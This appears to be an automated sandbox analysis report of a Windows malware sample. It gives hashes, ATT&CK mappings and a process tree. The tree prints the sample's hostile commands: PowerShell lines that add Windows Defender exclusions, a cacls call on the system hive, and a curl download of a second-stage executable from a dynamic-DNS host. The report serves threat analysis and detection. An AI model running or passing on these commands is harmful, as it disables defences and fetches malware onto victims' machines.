246d03f418d4eb9a19ead89eb7816714b6a69f920cfeea3d3d17c971ba4c6823

General

Target

5dce69c450262d7a5d48cdc8fccad2d7.exe
Size

121KB
MD5

5dce69c450262d7a5d48cdc8fccad2d7
SHA1

11cd8fa07e2314287099aaf4fbedb5dcc1fcf62a
SHA256

246d03f418d4eb9a19ead89eb7816714b6a69f920cfeea3d3d17c971ba4c6823
SHA512

7f5c2f5e6a02990adf6d638a8368f07a2f949dfedd7197e342c7467cc0ff4af5480ba2585060986f65e3f62efcdb80c037b89815db095326890269ef31db836a
SSDEEP

3072:MV3J6kkt5h1X+HqTi0BW69hd1MMdxPe9N9uA0/+hL9TBfnPJR:ht5hBPi0BW69hd1MMdxPe9N9uA069TBb

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3532	powershell.exe
4916	powershell.exe
3676	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	5dce69c450262d7a5d48cdc8fccad2d7.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3836	timeout.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3532	powershell.exe
3532	powershell.exe
4916	powershell.exe
4916	powershell.exe
3676	powershell.exe
3676	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3532	powershell.exe
Token: SeDebugPrivilege	4916	powershell.exe
Token: SeDebugPrivilege	3676	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3080	cmd.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 3472 wrote to memory of 3080	3472	5dce69c450262d7a5d48cdc8fccad2d7.exe	83
PID 3472 wrote to memory of 3080	3472	5dce69c450262d7a5d48cdc8fccad2d7.exe	83
PID 3080 wrote to memory of 3188	3080	cmd.exe	85
PID 3080 wrote to memory of 3188	3080	cmd.exe	85
PID 3080 wrote to memory of 3532	3080	cmd.exe	86
PID 3080 wrote to memory of 3532	3080	cmd.exe	86
PID 3080 wrote to memory of 4916	3080	cmd.exe	87
PID 3080 wrote to memory of 4916	3080	cmd.exe	87
PID 3080 wrote to memory of 3676	3080	cmd.exe	88
PID 3080 wrote to memory of 3676	3080	cmd.exe	88
PID 3080 wrote to memory of 3836	3080	cmd.exe	89
PID 3080 wrote to memory of 3836	3080	cmd.exe	89
PID 3080 wrote to memory of 1864	3080	cmd.exe	91
PID 3080 wrote to memory of 1864	3080	cmd.exe	91

C:\Users\Admin\AppData\Local\Temp\5dce69c450262d7a5d48cdc8fccad2d7.exe
"C:\Users\Admin\AppData\Local\Temp\5dce69c450262d7a5d48cdc8fccad2d7.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3472
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\73C8.tmp\73C9.tmp\73CA.bat C:\Users\Admin\AppData\Local\Temp\5dce69c450262d7a5d48cdc8fccad2d7.exe"
  2⤵
  - Checks computer location settings
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3080
- - C:\Windows\system32\cacls.exe
    "C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
    3⤵
    PID:3188
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Add-MpPreference -ExclusionExtension '.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3532
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Add-MpPreference -ExclusionExtension '.bat'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4916
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users\Victalis\Links'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3676
- - C:\Windows\system32\timeout.exe
    timeout /t 3
    3⤵
    - Delays execution with timeout.exe
    PID:3836
- - C:\Windows\system32\curl.exe
    curl http://voltazur.ddns.net/Quas_Brout_ncrypt.exe
    3⤵
    PID:1864

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
22310ad6749d8cc38284aa616efcd100

SHA1
440ef4a0a53bfa7c83fe84326a1dff4326dcb515

SHA256
55b1d8021c4eb4c3c0d75e3ed7a4eb30cd0123e3d69f32eeb596fe4ffec05abf

SHA512
2ef08e2ee15bb86695fe0c10533014ffed76ececc6e579d299d3365fafb7627f53e32e600bb6d872b9f58aca94f8cb7e1e94cdfd14777527f7f0aa019d9c6def

Download Submit
C:\Users\Admin\AppData\Local\Temp\73C8.tmp\73C9.tmp\73CA.bat

Filesize
1KB

MD5
793c56b68060857e19833f659215179a

SHA1
2daea30fdb072ed77572ef5255095f649441c467

SHA256
974c3b25c20b04c6c9c64e63c133b3263f275533bac599f56a4f60519f233716

SHA512
508c792fbbe2207d008cebd370c96d223e3cef3cbd5e7a89e4bcfaf94b3d94772b1f4729291a7ae99e473304e7bd175fc549eb4891f4eedd78740ab982b72aea

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lqm3qcr0.g1t.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3532-2-0x00007FFA20943000-0x00007FFA20945000-memory.dmp

Filesize
8KB

Download
memory/3532-9-0x00000204D7C30000-0x00000204D7C52000-memory.dmp

Filesize
136KB

Download
memory/3532-13-0x00007FFA20940000-0x00007FFA21401000-memory.dmp

Filesize
10.8MB

Download
memory/3532-14-0x00007FFA20940000-0x00007FFA21401000-memory.dmp

Filesize
10.8MB

Download
memory/3532-17-0x00007FFA20940000-0x00007FFA21401000-memory.dmp

Filesize
10.8MB

Download

Analysis

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